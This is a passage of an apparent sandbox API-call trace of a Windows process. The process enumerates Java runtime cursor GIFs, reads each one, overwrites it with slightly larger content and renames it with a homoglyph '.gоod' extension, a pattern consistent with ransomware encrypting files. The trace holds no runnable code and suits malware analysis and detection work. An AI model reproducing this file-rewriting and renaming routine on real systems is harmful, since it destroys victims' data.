[0110.088] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0x0, dwReserved1=0x0, cFileName="cursors.properties", cAlternateFileName="CURSOR~1.PRO")) returned 1 [0110.088] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="invalid32x32.gif", cAlternateFileName="INVALI~1.GIF")) returned 1 [0110.088] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa5, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_CopyDrop32x32.gif", cAlternateFileName="WIN32_~1.GIF")) returned 1 [0110.088] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_CopyNoDrop32x32.gif", cAlternateFileName="WIN32_~2.GIF")) returned 1 [0110.088] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_LinkDrop32x32.gif", cAlternateFileName="WIN32_~3.GIF")) returned 1 [0110.089] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_LinkNoDrop32x32.gif", cAlternateFileName="WIN32_~4.GIF")) returned 1 [0110.089] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x93, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_MoveDrop32x32.gif", cAlternateFileName="WI06CF~1.GIF")) returned 1 [0110.089] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_MoveNoDrop32x32.gif", cAlternateFileName="WIE2D6~1.GIF")) returned 1 [0110.089] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0110.089] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0110.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0110.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0110.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0110.090] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors", lpFilePart=0x0) returned 0x35 [0110.090] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0110.091] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.091] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0x0, dwReserved1=0x0, cFileName="cursors.properties", cAlternateFileName="CURSOR~1.PRO")) returned 1 [0110.091] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="invalid32x32.gif", cAlternateFileName="INVALI~1.GIF")) returned 1 [0110.091] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa5, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_CopyDrop32x32.gif", cAlternateFileName="WIN32_~1.GIF")) returned 1 [0110.091] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_CopyNoDrop32x32.gif", cAlternateFileName="WIN32_~2.GIF")) returned 1 [0110.092] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_LinkDrop32x32.gif", cAlternateFileName="WIN32_~3.GIF")) returned 1 [0110.092] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_LinkNoDrop32x32.gif", cAlternateFileName="WIN32_~4.GIF")) returned 1 [0110.092] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x93, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_MoveDrop32x32.gif", cAlternateFileName="WI06CF~1.GIF")) returned 1 [0110.092] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_MoveNoDrop32x32.gif", cAlternateFileName="WIE2D6~1.GIF")) returned 1 [0110.092] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_MoveNoDrop32x32.gif", cAlternateFileName="WIE2D6~1.GIF")) returned 0 [0110.092] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0110.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0110.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0110.093] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif", lpFilePart=0x0) returned 0x46 [0110.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0110.093] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0x35de878 | out: lpFileInformation=0x35de878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99)) returned 1 [0110.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0110.094] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif", lpFilePart=0x0) returned 0x46 [0110.094] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0110.094] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0110.094] GetFileType (hFile=0x7b4) returned 0x1 [0110.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0110.095] GetFileType (hFile=0x7b4) returned 0x1 [0110.095] GetFileSize (in: hFile=0x7b4, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0x99 [0110.095] ReadFile (in: hFile=0x7b4, lpBuffer=0x35debd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x35debd0*, lpNumberOfBytesRead=0x1f59dd38*=0x99, lpOverlapped=0x0) returned 1 [0110.095] CloseHandle (hObject=0x7b4) returned 1 [0110.308] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif", lpFilePart=0x0) returned 0x46 [0110.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0110.308] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0110.309] GetFileType (hFile=0x7dc) returned 0x1 [0110.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0110.309] GetFileType (hFile=0x7dc) returned 0x1 [0110.309] WriteFile (in: hFile=0x7dc, lpBuffer=0x358d680*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x358d680*, lpNumberOfBytesWritten=0x1f59dc48*=0xa0, lpOverlapped=0x0) returned 1 [0110.310] CloseHandle (hObject=0x7dc) returned 1 [0110.310] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif", lpFilePart=0x0) returned 0x46 [0110.310] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.gоod", lpFilePart=0x0) returned 0x4b [0110.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0110.310] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3df6c64d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa0)) returned 1 [0110.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0110.310] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.gоod")) returned 1 [0110.311] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif", lpFilePart=0x0) returned 0x4d [0110.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0110.311] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0x358e910 | out: lpFileInformation=0x358e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa5)) returned 1 [0110.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0110.312] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif", lpFilePart=0x0) returned 0x4d [0110.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0110.312] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0110.312] GetFileType (hFile=0x7dc) returned 0x1 [0110.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0110.312] GetFileType (hFile=0x7dc) returned 0x1 [0110.312] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0xa5 [0110.312] ReadFile (in: hFile=0x7dc, lpBuffer=0x358eca0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x358eca0*, lpNumberOfBytesRead=0x1f59dd38*=0xa5, lpOverlapped=0x0) returned 1 [0110.313] CloseHandle (hObject=0x7dc) returned 1 [0110.324] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif", lpFilePart=0x0) returned 0x4d [0110.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0110.324] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0110.325] GetFileType (hFile=0x7dc) returned 0x1 [0110.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0110.325] GetFileType (hFile=0x7dc) returned 0x1 [0110.325] WriteFile (in: hFile=0x7dc, lpBuffer=0x3606358*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x3606358*, lpNumberOfBytesWritten=0x1f59dc48*=0xb0, lpOverlapped=0x0) returned 1 [0110.326] CloseHandle (hObject=0x7dc) returned 1 [0110.326] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif", lpFilePart=0x0) returned 0x4d [0110.326] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.gоod", lpFilePart=0x0) returned 0x52 [0110.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0110.326] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3df928c4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb0)) returned 1 [0110.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0110.327] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.gоod")) returned 1 [0110.327] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif", lpFilePart=0x0) returned 0x4f [0110.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0110.327] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0x3607618 | out: lpFileInformation=0x3607618*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99)) returned 1 [0110.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0110.327] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif", lpFilePart=0x0) returned 0x4f [0110.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0110.327] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), 